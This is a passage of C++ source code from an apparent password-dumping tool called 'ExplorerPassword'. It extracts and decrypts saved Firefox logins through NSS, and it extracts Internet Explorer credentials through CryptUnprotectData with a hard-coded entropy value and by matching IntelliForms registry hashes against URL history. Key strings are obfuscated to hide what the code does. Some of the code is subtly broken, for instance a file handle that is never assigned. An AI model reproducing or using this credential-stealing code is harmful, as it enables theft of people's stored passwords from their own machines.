(*PK11FreeSlot)(slot); 742 | 743 | return 1; 744 | } 745 | 746 | 747 | 748 | int CFirefox::DumpFF(wchar_t *profilePath, wchar_t *signonFile) 749 | { 750 | char buffer[2048]; 751 | wchar_t signonFullFile[MAX_PATH]; 752 | int bufferLength = 2048; 753 | FILE *ft = NULL; 754 | //errno_t err; 755 | struct ffp_entry ffentry; 756 | struct get_Firefox getfirefox; 757 | 758 | memset(&ffentry, 0, sizeof(ffentry)); 759 | memset(&getfirefox, 0, sizeof(getfirefox)); 760 | 761 | if ( profilePath == NULL || signonFile == NULL) 762 | return 0; 763 | 764 | _snwprintf_s(signonFullFile, MAX_PATH, L"%s\\%s", profilePath, signonFile); 765 | 766 | if ( _wfopen(signonFullFile,L"r") == NULL ) 767 | return 0; 768 | 769 | fgets(buffer, bufferLength, ft); 770 | 771 | // Read out the unmanaged ("Never remember" URL list 772 | while (fgets(buffer, bufferLength, ft) != 0) { 773 | // End of unmanaged list 774 | if (strlen(buffer) != 0 && buffer[0] == '.' && buffer[0] != '#') 775 | break; 776 | } 777 | 778 | // read the URL line 779 | while (fgets(buffer, bufferLength, ft) != 0 ){ 780 | 781 | buffer[strlen(buffer)-1] = 0; 782 | //printf("-> URL: %s \n", buffer); 783 | swprintf_s(ffentry.service, 255, L"Firefox"); 784 | _snwprintf_s(ffentry.resource, 255, _TRUNCATE, L"%S", buffer); 785 | 786 | //Start looping through final singon*.txt file 787 | while (fgets(buffer, bufferLength, ft) != 0 ) { 788 | 789 | // new host begins with '.', second entry for a single host have '---' 790 | if (!strncmp(buffer, ".", 1) || !strncmp(buffer, "---", 3)) { 791 | if (wcscmp(ffentry.user_name, L"")){ 792 | wcscpy_s(getfirefox.pass_name,ffentry.pass_value); 793 | wcscpy_s(getfirefox.url,ffentry.resource); 794 | wcscpy_s(getfirefox.user_name,ffentry.user_value); 795 | pFF.push(getfirefox); 796 | } 797 | //LogPassword(ffentry.service, ffentry.resource, ffentry.user_value, ffentry.pass_value); 798 | 799 | memset(&ffentry.user_value, 0, sizeof(ffentry.user_value)); 800 | memset(&ffentry.user_name, 0, sizeof(ffentry.user_name)); 801 | memset(&ffentry.pass_value, 0, sizeof(ffentry.pass_value)); 802 | memset(&ffentry.pass_name, 0, sizeof(ffentry.pass_name)); 803 | 804 | if (!strncmp(buffer, ".", 1)) 805 | break; // end of cache entry 806 | else 807 | continue; 808 | } 809 | 810 | //Check if its a password 811 | if (buffer[0] == '*') { 812 | buffer[strlen(buffer)-1] = 0; 813 | _snwprintf_s(ffentry.pass_name, 255, _TRUNCATE, L"%S", buffer + 1); 814 | 815 | fgets(buffer, bufferLength, ft); 816 | buffer[strlen(buffer)-1] = 0; 817 | 818 | DecryptStr(buffer, ffentry.pass_value, 255); 819 | 820 | // else is the username the first time, the subdomain the second 821 | } else if (!wcscmp(ffentry.user_name, L"")) { 822 | buffer[strlen(buffer)-1] = 0; 823 | _snwprintf_s(ffentry.user_name, 255, _TRUNCATE, L"%S", buffer); 824 | 825 | fgets(buffer, bufferLength, ft); 826 | buffer[strlen(buffer)-1] = 0; 827 | 828 | DecryptStr(buffer, ffentry.user_value, 255); 829 | } 830 | } 831 | } 832 | 833 | fclose(ft); 834 | 835 | return 1; 836 | } 837 | 838 | int CFirefox::parse_sql_signons(void *NotUsed, int argc, char **argv, char **azColName) 839 | { 840 | struct ffp_entry ffentry; 841 | struct get_Firefox getfirefox; 842 | 843 | ZeroMemory(&ffentry, sizeof(ffentry)); 844 | ZeroMemory(&getfirefox, sizeof(getfirefox)); 845 | for(int i=0; iDeobStringA("I1pEePLIXb9IE1H0I"))) { //"encryptedUsername" 851 | pThis->DecryptStr(argv[i], ffentry.user_value, 255); 852 | } 853 | if (!strcmp(azColName[i], pThis->DeobStringA("I1pEePLIX3H99q5EX"))) { //"encryptedPassword" 854 | pThis->DecryptStr(argv[i], ffentry.pass_value, 255); 855 | } 856 | } 857 | wcscpy_s(getfirefox.pass_name,ffentry.pass_value); 858 | wcscpy_s(getfirefox.url,ffentry.resource); 859 | wcscpy_s(getfirefox.user_name,ffentry.user_value); 860 | pThis->pFF.push(getfirefox); 861 | //LogPassword(ffentry.service, ffentry.resource, ffentry.user_value, ffentry.pass_value); 862 | 863 | return 0; 864 | } 865 | 866 | int CFirefox::DumpSqlFF(wchar_t *profilePath, wchar_t *signonFile) 867 | { 868 | sqlite3 *db; 869 | char *ascii_path; 870 | CHAR sqlPath[MAX_PATH]; 871 | int rc; 872 | 873 | if (!(ascii_path = GetDosAsciiName(profilePath))) 874 | return 0; 875 | 876 | sprintf_s(sqlPath, MAX_PATH, "%s\\%S", ascii_path, signonFile); 877 | SAFE_FREE(ascii_path); 878 | 879 | if ((rc = sqlite3_open(sqlPath, &db))) 880 | return 0; 881 | 882 | sqlite3_exec(db, DeobStringA("A2r2-8 * aGfD 05OCy57Z19;"), parse_sql_signons, NULL, NULL); //"SELECT * FROM moz_logins;" 883 | 884 | sqlite3_close(db); 885 | 886 | return 1; 887 | } 888 | 889 | wchar_t *CFirefox::GetFFLibPath() 890 | { 891 | static wchar_t FullPath[MAX_PATH]; 892 | char regSubKey[MAX_PATH]; 893 | char path[MAX_PATH]; 894 | char *p; 895 | DWORD pathSize = MAX_PATH; 896 | DWORD valueType; 897 | HKEY rkey; 898 | 899 | // Open firefox registry key 900 | _snprintf_s(regSubKey, MAX_PATH, "%s", DeobStringA("Afa8JQG2\\-yZI1L9\\ALHELDI1VU1LIE1IL\\MZEIM5S.ISI\\9WIyy\\5PI1\\p500H1X")); //"SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" 901 | //if( FNC(RegOpenKeyExA)(HKEY_LOCAL_MACHINE, regSubKey, 0, KEY_READ, &rkey) != ERROR_SUCCESS ) 902 | if( RegOpenKeyExA(HKEY_LOCAL_MACHINE, regSubKey, 0, KEY_READ, &rkey) != ERROR_SUCCESS ) 903 | return NULL; 904 | 905 | // Read the firefox path 906 | //if( FNC(RegQueryValueExA)(rkey, NULL, 0, &valueType, (unsigned char*)path, &pathSize) != ERROR_SUCCESS ) { 907 | //FNC(RegCloseKey)(rkey); 908 | if( RegQueryValueExA(rkey, NULL, 0, &valueType, (unsigned char*)path, &pathSize) != ERROR_SUCCESS ) { 909 | RegCloseKey(rkey); 910 | return NULL; 911 | } 912 | 913 | if( pathSize <= 0 || path[0] == 0) { 914 | //FNC(RegCloseKey)(rkey); 915 | RegCloseKey(rkey); 916 | return NULL; 917 | } 918 | 919 | //FNC(RegCloseKey)(rkey); 920 | RegCloseKey(rkey); 921 | 922 | // get the path and then remove the initial \" 923 | if ((p = strrchr(path, '\\')) != NULL) 924 | *p = '\0'; 925 | 926 | p = path; 927 | 928 | if( *p == '\"' ) 929 | p++; 930 | 931 | if (!p) 932 | return NULL; 933 | 934 | _snwprintf_s(FullPath, MAX_PATH, L"%S", p); 935 | 936 | return FullPath; 937 | } 938 | 939 | 940 | wchar_t *CFirefox::GetFFProfilePath() 941 | { 942 | static wchar_t FullPath[MAX_PATH]; 943 | wchar_t appPath[MAX_PATH]; 944 | wchar_t iniFile[MAX_PATH]; 945 | wchar_t profilePath[MAX_PATH]; 946 | DWORD pathSize = MAX_PATH; 947 | 948 | memset(appPath, 0, sizeof(appPath)); 949 | memset(profilePath, 0, sizeof(profilePath)); 950 | 951 | //FNC(GetEnvironmentVariableW)(L"APPDATA", appPath, MAX_PATH); 952 | GetEnvironmentVariableW(L"APPDATA", appPath, MAX_PATH); 953 | 954 | // Get firefox profile directory 955 | _snwprintf_s(iniFile, MAX_PATH, DeobStringW(L"%9\\D5OZyyH\\aZEIM5S\\PE5MZyI9.Z1Z"), appPath); //"%s\\Mozilla\\Firefox\\profiles.ini" 956 | 957 | //FNC(GetPrivateProfileStringW)(DeobStringW(L"3E5MZyIj"), L"Path", L"", profilePath, sizeof(profilePath), iniFile); //"Profile0" 958 | GetPrivateProfileStringW(DeobStringW(L"3E5MZyIj"), L"Path", L"", profilePath, sizeof(profilePath), iniFile); //"Profile0" 959 | _snwprintf_s(FullPath, MAX_PATH, DeobStringW(L"%9\\D5OZyyH\\aZEIM5S\\%9"), appPath, profilePath); //"%s\\Mozilla\\Firefox\\%s" 960 | 961 | return FullPath; 962 | } 963 | 964 | int CFirefox::DumpJsonFF(wchar_t *profilePath, wchar_t *signonFile) 965 | { 966 | JSONValue* jValue = NULL; 967 | JSONArray jLogins; 968 | JSONObject jObj, jEntry; 969 | HANDLE hFile, hMap; 970 | wchar_t file_path[MAX_PATH]; 971 | DWORD login_size; 972 | char *login_map, *local_login_map; 973 | wchar_t strLogins[] = { L'l', L'o', L'g', L'i', L'n', L's', L'\0' }; 974 | wchar_t strURL[] = { L'h', L'o', L's', L't', L'n', L'a', L'm', L'e', L'\0' }; 975 | wchar_t strUser[] = { L'e', L'n', L'c', L'r', L'y', L'p', L't', L'e', L'd', L'U', L's', L'e', L'r', L'n', L'a', L'm', L'e', L'\0' }; 976 | wchar_t strPass[] = { L'e', L'n', L'c', L'r', L'y', L'p', L't', L'e', L'd', L'P', L'a', L's', L's', L'w', L'o', L'r', L'd', L'\0' }; 977 | struct ffp_entry ffentry; 978 | struct get_Firefox getfirefox; 979 | char tmp_buff[255]; 980 | 981 | _snwprintf_s(file_path, sizeof(file_path)/sizeof(wchar_t), _TRUNCATE, L"%s\\%s", profilePath, signonFile); 982 | 983 | //if ((hFile = FNC(CreateFileW)(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) 984 | if ((hFile = CreateFileW(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) 985 | return 0; 986 | 987 | login_size = GetFileSize(hFile, NULL); 988 | if (login_size == INVALID_FILE_SIZE) { 989 | CloseHandle(hFile); 990 | return 0; 991 | } 992 | 993 | local_login_map = (char *)calloc(login_size + 1, sizeof(char)); 994 | if (local_login_map == NULL) { 995 | CloseHandle(hFile); 996 | return 0; 997 | } 998 | 999 | //if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) { 1000 | if ((hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) { 1001 | SAFE_FREE(local_login_map); 1002 | CloseHandle(hFile); 1003 | return 0; 1004 | } 1005 | 1006 | //if ( (login_map = (char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0)) == NULL) { 1007 | if ( (login_map = (char *)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) == NULL) { 1008 | SAFE_FREE(local_login_map); 1009 | CloseHandle(hMap); 1010 | CloseHandle(hFile); 1011 | return 0; 1012 | 1013 | } 1014 | 1015 | memcpy(local_login_map, login_map, login_size); 1016 | //FNC(UnmapViewOfFile)(login_map); 1017 | UnmapViewOfFile(login_map); 1018 | UnmapViewOfFile(login_map); 1019 | CloseHandle(hMap); 1020 | CloseHandle(hFile); 1021 | 1022 | jValue = JSON::Parse(local_login_map); 1023 | if(jValue == NULL) { 1024 | SAFE_FREE(local_login_map); 1025 | return 0; 1026 | } 1027 | 1028 | if (jValue->IsObject()) { 1029 | jObj = jValue->AsObject(); //json root 1030 | 1031 | //find the logins object 1032 | if (jObj.find(strLogins) != jObj.end() && jObj[strLogins]->IsArray()) { 1033 | jLogins = jObj[strLogins]->AsArray(); 1034 | 1035 | for (DWORD i=0; iIsObject()) { 1037 | jEntry = jLogins[i]->AsObject(); 1038 | 1039 | if (jEntry.find(strURL)!=jEntry.end() && 1040 | jEntry.find(strUser)!=jEntry.end() && 1041 | jEntry.find(strPass)!=jEntry.end() && 1042 | jEntry[strURL]->IsString() && 1043 | jEntry[strUser]->IsString() && 1044 | jEntry[strPass]->IsString()) { 1045 | ZeroMemory(&ffentry, sizeof(ffentry)); 1046 | ZeroMemory(&getfirefox, sizeof(getfirefox)); 1047 | swprintf_s(ffentry.service, 255, L"Firefox/Thunderbird"); 1048 | _snwprintf_s(ffentry.resource, 255, _TRUNCATE, L"%s", jEntry[strURL]->AsString().c_str()); 1049 | 1050 | _snprintf_s(tmp_buff, 255, _TRUNCATE, "%S", jEntry[strUser]->AsString().c_str()); 1051 | DecryptStr(tmp_buff, ffentry.user_value, 255); 1052 | 1053 | _snprintf_s(tmp_buff, 255, _TRUNCATE, "%S", jEntry[strPass]->AsString().c_str()); 1054 | DecryptStr(tmp_buff, ffentry.pass_value, 255); 1055 | wcscpy_s(getfirefox.pass_name,ffentry.pass_value); 1056 | wcscpy_s(getfirefox.url,ffentry.resource); 1057 | wcscpy_s(getfirefox.user_name,ffentry.user_value); 1058 | pThis->pFF.push(getfirefox); 1059 | //LogPassword(ffentry.service, ffentry.resource, ffentry.user_value, ffentry.pass_value); 1060 | } 1061 | } 1062 | } 1063 | } 1064 | } 1065 | 1066 | delete jValue; 1067 | SAFE_FREE(local_login_map); 1068 | return 1; 1069 | } 1070 | 1071 | int CFirefox::DumpFirefox(void) 1072 | { 1073 | wchar_t *ProfilePath = NULL; //Profile path 1074 | wchar_t *FFDir = NULL; //Firefox main installation path 1075 | 1076 | NSSShutdown = NULL; 1077 | IsNSSInitialized = 0; 1078 | NSSInit = NULL; 1079 | 1080 | ProfilePath = GetFFProfilePath(); 1081 | 1082 | if (!ProfilePath || !DirectoryExists(ProfilePath)) 1083 | return 0; 1084 | 1085 | FFDir = GetFFLibPath(); 1086 | 1087 | if (!FFDir || !DirectoryExists(FFDir)) 1088 | return 0; 1089 | 1090 | if (!InitFFLibs(FFDir)) 1091 | return 0; 1092 | 1093 | if (!InitializeNSSLibrary(ProfilePath)) 1094 | return 0; 1095 | 1096 | // get the passwords for defferent versions 1097 | DumpFF(ProfilePath, DeobStringW(L"9Z71519o.LSL")); // 2.x "signons2.txt" 1098 | DumpFF(ProfilePath, DeobStringW(L"9Z71519n.LSL")); // 3.0 "signons3.txt" 1099 | DumpSqlFF(ProfilePath, DeobStringW(L"9Z71519.9ByZLI")); // 3.1 3.5 "signons.sqlite" 1100 | DumpJsonFF(ProfilePath, DeobStringW(L"y57Z19.h951")); // 3.1 3.5 "logins.json" 1101 | 1102 | NSSUnload(); 1103 | 1104 | return 0; 1105 | } 1106 | -------------------------------------------------------------------------------- /ExplorerPassword/CFirefox.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/CFirefox.h -------------------------------------------------------------------------------- /ExplorerPassword/CIexplorer.cpp: -------------------------------------------------------------------------------- 1 | #include "CIexplorer.h" 2 | #define _CRT_SECURE_NO_WARNINGS 1 3 | 4 | 5 | 6 | typedef struct { 7 | DWORD Characteristics; 8 | DWORD TimeDateStamp; 9 | WORD MajorVersion; 10 | WORD MinorVersion; 11 | DWORD Name; 12 | DWORD Base; 13 | DWORD NumberOfFunctions; 14 | DWORD NumberOfNames; 15 | DWORD AddressOfFunctions; 16 | DWORD AddressOfNames; 17 | DWORD AddressOfNameOrdinals; 18 | } MY_IMAGE_EXPORT_DESCRIPTOR; 19 | 20 | CIexplorer::CIexplorer() 21 | { 22 | } 23 | CIexplorer::~CIexplorer() 24 | { 25 | } 26 | void CIexplorer::GetHashStr(wchar_t *Password, char *HashStr) 27 | { 28 | HashStr[0]='\0'; 29 | SHA1Context sha; 30 | 31 | SHA1Reset(&sha); 32 | SHA1Input(&sha, (const unsigned char *) Password, (DWORD)(wcslen(Password)+1)*2); 33 | 34 | if (SHA1Result(&sha)) { 35 | // Crea la stringa per la comparazione 36 | unsigned char *ptr = (unsigned char *)sha.Message_Digest; 37 | char TmpBuf[128]; 38 | unsigned char tail=0; 39 | // Calcolo Tail 40 | for(int i=0; i<20; i++) { 41 | unsigned char c = ptr[i]; 42 | tail += c; 43 | } 44 | for(int i=0; i<5; i++) { 45 | sprintf(TmpBuf,"%s%.8X", HashStr, sha.Message_Digest[i]); 46 | strcpy_s(HashStr, 1024, TmpBuf); 47 | } 48 | // Aggiunge gli ultimi 2 byte 49 | sprintf(TmpBuf, "%s%2.2X", HashStr, tail); 50 | strcpy_s(HashStr, 1024, TmpBuf); 51 | } 52 | } 53 | 54 | 55 | int CIexplorer::GetUrlHistory(wchar_t *UrlHistory[URL_HISTORY_MAX]) 56 | { 57 | int max = 0; 58 | IUrlHistoryStg2* pUrlHistoryStg2=NULL; 59 | HRESULT hr; 60 | 61 | CoInitialize(NULL); 62 | hr = CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER,IID_IUrlHistoryStg2,(void**)(&pUrlHistoryStg2)); 63 | if(SUCCEEDED(hr)) { 64 | IEnumSTATURL* pEnumUrls; 65 | hr = pUrlHistoryStg2->EnumUrls(&pEnumUrls); 66 | if (SUCCEEDED(hr)){ 67 | STATURL StatUrl[1]; 68 | ULONG ulFetched; 69 | while (maxNext(1, StatUrl, &ulFetched)) == S_OK) { 70 | if (StatUrl->pwcsUrl && !(StatUrl->dwFlags & STATURL_QUERYFLAG_NOURL)) { 71 | // Cancella eventuali parametri 72 | wchar_t *p; 73 | if(NULL!=(p = wcschr(StatUrl->pwcsUrl,'?'))) 74 | *p='\0'; 75 | UrlHistory[max] = new wchar_t[wcslen(StatUrl->pwcsUrl)+1]; 76 | if (UrlHistory[max]) { 77 | wcscpy_s(UrlHistory[max], wcslen(StatUrl->pwcsUrl)+1, StatUrl->pwcsUrl); 78 | for (int i=0; UrlHistory[max][i]; i++) 79 | UrlHistory[max][i] = tolower(UrlHistory[max][i]); 80 | max++; 81 | } 82 | } 83 | if (StatUrl->pwcsUrl && !(StatUrl->dwFlags & STATURL_QUERYFLAG_NOURL)) 84 | CoTaskMemFree(StatUrl->pwcsUrl); 85 | if (StatUrl->pwcsTitle && !(StatUrl->dwFlags & STATURL_QUERYFLAG_NOTITLE)) 86 | CoTaskMemFree(StatUrl->pwcsTitle); 87 | } 88 | pEnumUrls->Release(); 89 | } 90 | pUrlHistoryStg2->Release(); 91 | } 92 | CoUninitialize(); 93 | return max; 94 | } 95 | 96 | 97 | void CIexplorer::ParseIE7Data(DATA_BLOB *Data_blob, WCHAR *URL) 98 | { 99 | struct get_Iexplorer getiexplorer; 100 | unsigned int HeaderSize; 101 | unsigned int DataSize; 102 | int DataMax; 103 | WCHAR User[1024]; 104 | WCHAR Pass[1024]; 105 | unsigned int offset; 106 | char *pInfo; 107 | char *pData; 108 | char *Data = (char *)(Data_blob->pbData); 109 | 110 | memcpy(&HeaderSize,&Data[4],4); 111 | memcpy(&DataSize,&Data[8],4); 112 | memcpy(&DataMax,&Data[20],4); 113 | 114 | if (HeaderSize>=Data_blob->cbData || Data_blob->cbData<41) 115 | return; 116 | 117 | pInfo = &Data[36]; 118 | pData = &Data[HeaderSize]; 119 | 120 | for (; DataMax>0; DataMax-=2) { 121 | Pass[0] = 0; // Se non trova la password la WriteAccount non la scrive 122 | if (DataMax>=1) { 123 | memcpy(&offset,pInfo,4); 124 | if (HeaderSize+12+offset >= Data_blob->cbData) 125 | return; 126 | 127 | _snwprintf_s(User, sizeof(User)/sizeof(WCHAR), _TRUNCATE, L"%s", &Data[HeaderSize+12+offset]); 128 | pInfo+=16; 129 | } 130 | 131 | if (DataMax>=2) { 132 | memcpy(&offset,pInfo,4); 133 | if (HeaderSize+12+offset >= Data_blob->cbData) 134 | return; 135 | 136 | _snwprintf_s(Pass, sizeof(Pass)/sizeof(WCHAR), _TRUNCATE, L"%s", &Data[HeaderSize+12+offset]); 137 | pInfo+=16; 138 | } 139 | //LogPassword(L"IExplorer", URL, User, Pass); 140 | ZeroMemory(&getiexplorer, sizeof(getiexplorer)); 141 | wcscpy_s(getiexplorer.url,URL); 142 | wcscpy_s(getiexplorer.user_name,User); 143 | wcscpy_s(getiexplorer.pass_name,Pass); 144 | pIE.push(getiexplorer); 145 | 146 | } 147 | } 148 | 149 | void *CIexplorer::HM_SafeGetProcAddress(HMODULE hModule, char *func_to_search) 150 | { 151 | BYTE *ImageBase = (BYTE *)hModule; 152 | WORD *PeOffs; 153 | IMAGE_NT_HEADERS *PE_Header; 154 | MY_IMAGE_EXPORT_DESCRIPTOR *Dll_Export; 155 | DWORD Index; 156 | unsigned short *Ordinal; 157 | DWORD *pFuncName; 158 | DWORD *pFunc_Pointer; 159 | 160 | if (!ImageBase) 161 | return NULL; 162 | 163 | // Verifica che sia un PE 164 | if (ImageBase[0]!='M' || ImageBase[1]!='Z') 165 | return NULL; 166 | 167 | PeOffs = (WORD *)&(ImageBase[0x3C]); 168 | PE_Header = (IMAGE_NT_HEADERS *)(ImageBase + (*PeOffs)); 169 | // Qualche controllo sugli headers 170 | if (PE_Header->Signature != 0x00004550 || PE_Header->OptionalHeader.NumberOfRvaAndSizes < 1 || 171 | PE_Header->OptionalHeader.DataDirectory[0].VirtualAddress == 0) 172 | return NULL; 173 | 174 | Dll_Export = (MY_IMAGE_EXPORT_DESCRIPTOR *) (ImageBase + PE_Header->OptionalHeader.DataDirectory[0].VirtualAddress); 175 | // Scorre la lista di DLL importate 176 | for (Index=0; Index < Dll_Export->NumberOfNames ; Index++) { 177 | pFuncName = (DWORD *)(ImageBase + Dll_Export->AddressOfNames + Index*4); 178 | if (*pFuncName == NULL) 179 | continue; 180 | // Vede se e' la funzione che cerchiamo 181 | if (!strcmp(func_to_search, (char *)(ImageBase + *pFuncName))) 182 | break; 183 | } 184 | 185 | if(Index >= Dll_Export->NumberOfNames) 186 | return NULL; 187 | 188 | // Legge Ordinale 189 | Ordinal = (unsigned short *) (ImageBase + Dll_Export->AddressOfNameOrdinals + Index*2); 190 | // Legge il puntatore a funzione 191 | pFunc_Pointer = (DWORD *) (ImageBase + Dll_Export->AddressOfFunctions + (*Ordinal)*4); 192 | return (ImageBase + *pFunc_Pointer); 193 | } 194 | 195 | 196 | int CIexplorer::DumpIE7(void) 197 | { 198 | struct get_Iexplorer getiexplorer; 199 | wchar_t *UrlHistory[URL_HISTORY_MAX]; 200 | typeCryptUnprotectData pfCryptUnprotectData = NULL; 201 | typeCredEnumerate pfCredEnumerate = NULL; 202 | typeCredFree pfCredFree = NULL; 203 | PCREDENTIALW *CredentialCollection = NULL; 204 | HMODULE hAdvapi32DLL = NULL; 205 | HMODULE hCrypt32DLL = NULL; 206 | DWORD dwCount = 0; 207 | DWORD dwTempIndex = 0; 208 | int UrlListoryMax; 209 | char *KeyStr = {"Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"}; 210 | HKEY hKey; 211 | 212 | if ( (hCrypt32DLL = LoadLibraryA("crypt32.dll")) ) { 213 | pfCryptUnprotectData = (typeCryptUnprotectData)HM_SafeGetProcAddress(hCrypt32DLL, "CryptUnprotectData"); 214 | } 215 | 216 | if ( (hAdvapi32DLL = LoadLibraryA("advapi32.dll")) ) { 217 | pfCredEnumerate = (typeCredEnumerate)HM_SafeGetProcAddress(hAdvapi32DLL, "CredEnumerateW"); 218 | pfCredFree = (typeCredFree)HM_SafeGetProcAddress(hAdvapi32DLL, "CredFree"); 219 | } 220 | 221 | // HTTP Password 222 | if ( pfCredEnumerate && pfCredFree && pfCryptUnprotectData ) { 223 | short tmp[37]; 224 | char *password={"abe2869f-9b47-4cd9-a358-c22904dba7f7"}; 225 | DATA_BLOB OptionalEntropy; 226 | DATA_BLOB DataIn; 227 | DATA_BLOB DataOut; 228 | 229 | for(int i=0; i< 37; i++) 230 | tmp[i] = (short int)(password[i] * 4); 231 | OptionalEntropy.pbData = (BYTE *)&tmp; 232 | OptionalEntropy.cbData = 74; 233 | 234 | dwCount = 0; 235 | CredentialCollection = NULL; 236 | pfCredEnumerate(L"Microsoft_WinInet_*", 0, &dwCount, &CredentialCollection); 237 | for(dwTempIndex=0; dwTempIndexTargetName) { 241 | ptr = (WCHAR *)CredentialCollection[dwTempIndex]->TargetName; 242 | ptr += wcslen(L"Microsoft_WinInet_"); 243 | } 244 | 245 | DataIn.pbData = (BYTE *)CredentialCollection[dwTempIndex]->CredentialBlob; 246 | DataIn.cbData = CredentialCollection[dwTempIndex]->CredentialBlobSize; 247 | 248 | if(pfCryptUnprotectData(&DataIn, NULL, &OptionalEntropy, NULL, NULL, 0, &DataOut)) { 249 | WCHAR cred_data[1024]; 250 | WCHAR *pass_off = NULL; 251 | 252 | _snwprintf_s(cred_data, sizeof(cred_data)/sizeof(WCHAR), _TRUNCATE, L"%s", DataOut.pbData); 253 | if ( (pass_off = wcschr(cred_data, ':')) ) { 254 | *pass_off = 0; 255 | pass_off++; 256 | } 257 | ZeroMemory(&getiexplorer, sizeof(getiexplorer)); 258 | wcscpy_s(getiexplorer.pass_name,pass_off); 259 | wcscpy_s(getiexplorer.url,cred_data); 260 | wcscpy_s(getiexplorer.user_name,ptr); 261 | pIE.push(getiexplorer); 262 | 263 | LocalFree(DataOut.pbData); 264 | } 265 | } 266 | if (CredentialCollection) 267 | pfCredFree(CredentialCollection); 268 | } 269 | 270 | // Saved Web Password 271 | if ( pfCryptUnprotectData ) { 272 | UrlListoryMax = GetUrlHistory(UrlHistory); // Prende la history 273 | //if( FNC(RegOpenKeyExA)(HKEY_CURRENT_USER,KeyStr,0,KEY_QUERY_VALUE,&hKey) == ERROR_SUCCESS) { 274 | int reg = RegOpenKeyExA(HKEY_CURRENT_USER,KeyStr,0,KEY_QUERY_VALUE,&hKey); 275 | if( reg == ERROR_SUCCESS) { 276 | for(DWORD i=0;;i++) { 277 | char Val[1024]; 278 | DWORD Size = 1024; 279 | // Cicla tutti gli URL hashati 280 | //if(ERROR_NO_MORE_ITEMS==FNC(RegEnumValueA)(hKey,i,Val, &Size, NULL,NULL, NULL, NULL)) 281 | if(ERROR_NO_MORE_ITEMS==RegEnumValueA(hKey,i,Val, &Size, NULL,NULL, NULL, NULL)) 282 | break; 283 | 284 | // Cicla tutti gli URL nell'history... 285 | for(int n=0; nEnumTypes(0, 0, &EnumPStoreTypes); 368 | 369 | if (!FAILED(hRes)) { 370 | #define PS_ITEM_SIZE 512 371 | GUID TypeGUID; 372 | GUID subTypeGUID; 373 | char szItemName[PS_ITEM_SIZE]; 374 | char szItemData[PS_ITEM_SIZE]; 375 | char szItemGUID[50]; 376 | 377 | while(EnumPStoreTypes->raw_Next(1, &TypeGUID, 0) == S_OK) { 378 | IEnumPStoreTypesPtr EnumSubTypes = 0; 379 | 380 | wsprintf(szItemGUID, "%x", TypeGUID); 381 | EnumSubTypes = NULL; 382 | PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes); 383 | if (!EnumSubTypes) 384 | continue; 385 | 386 | while(EnumSubTypes->raw_Next(1, &subTypeGUID, 0) == S_OK) { 387 | IEnumPStoreItemsPtr spEnumItems = 0; 388 | LPWSTR itemName; 389 | 390 | spEnumItems = NULL; 391 | PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems); 392 | if (!spEnumItems) 393 | continue; 394 | 395 | while(spEnumItems->raw_Next(1, &itemName, 0) == S_OK) { 396 | char chekingdata[PS_ITEM_SIZE]; 397 | unsigned long psDataLen = 0; 398 | unsigned char *psData = NULL; 399 | 400 | _snprintf_s(szItemName, sizeof(szItemName), _TRUNCATE, "%ws", itemName); 401 | 402 | PStore->ReadItem(0, &TypeGUID, &subTypeGUID, itemName, &psDataLen, &psData, NULL, 0); 403 | if (psData == NULL) { 404 | CoTaskMemFree(itemName); 405 | continue; 406 | } 407 | 408 | if((DWORD)lstrlen((char *)psData) < (DWORD)(psDataLen-1)) { 409 | i = 0; 410 | for(DWORD m=0; m szItemData + sizeof(szItemData)) 501 | break; 502 | 503 | LogPasswordA("MSN Explorer", msnid, msnid, msnpass); 504 | } 505 | } 506 | 507 | //e161255a IE 508 | if(FNC(lstrcmpA)(szItemGUID,"e161255a")==0) { 509 | if(strstr(szItemName, "StringIndex")==0) { 510 | if(strstr(szItemName,":String")!=0) 511 | *strstr(szItemName,":String")=0; 512 | lstrcpyn(chekingdata,szItemName,8); 513 | if((strstr(chekingdata,"http:/")==0) && (strstr(chekingdata,"https:/")==0)) { 514 | LogPasswordA("IExplorer (autocomp)", szItemName, szItemData, ""); 515 | } else { 516 | FNC(lstrcpyA)(chekingdata,""); 517 | if(strstr(szItemData,",")!=0) { 518 | _snprintf_s(chekingdata, sizeof(chekingdata), _TRUNCATE, "%s", strstr(szItemData,",")+1); 519 | *(strstr(szItemData,","))=0; 520 | } 521 | LogPasswordA("IExplorer", szItemName, szItemData, chekingdata); 522 | } 523 | } 524 | } 525 | CoTaskMemFree(itemName); 526 | CoTaskMemFree(psData); 527 | } 528 | if (spEnumItems) { 529 | spEnumItems.Release(); 530 | spEnumItems = 0; 531 | } 532 | } 533 | if (EnumSubTypes) { 534 | EnumSubTypes.Release(); 535 | EnumSubTypes = 0; 536 | } 537 | } 538 | } 539 | if (EnumPStoreTypes) 540 | EnumPStoreTypes.Release(); 541 | if (PStore) 542 | PStore.Release(); 543 | FreeLibrary(hpsDLL); 544 | }*/ 545 | 546 | typedef struct { 547 | DWORD schema_elem_id; 548 | DWORD unk1; 549 | DWORD unk2; 550 | DWORD unk3; 551 | WCHAR *name; 552 | } vault_entry_s; 553 | 554 | typedef struct { 555 | GUID schema; 556 | WCHAR *program; 557 | vault_entry_s *resource; 558 | vault_entry_s *user; 559 | vault_entry_s *password; 560 | BYTE unk[24]; 561 | } vault_cred_s; 562 | 563 | typedef unsigned int (__stdcall *VaultOpenVault_t)(_GUID *pVaultId, unsigned int dwFlags, void **pVaultHandle); 564 | typedef unsigned int (__stdcall *VaultEnumerateItems_t)(void *VaultHandle, unsigned int dwFlags, DWORD *count, 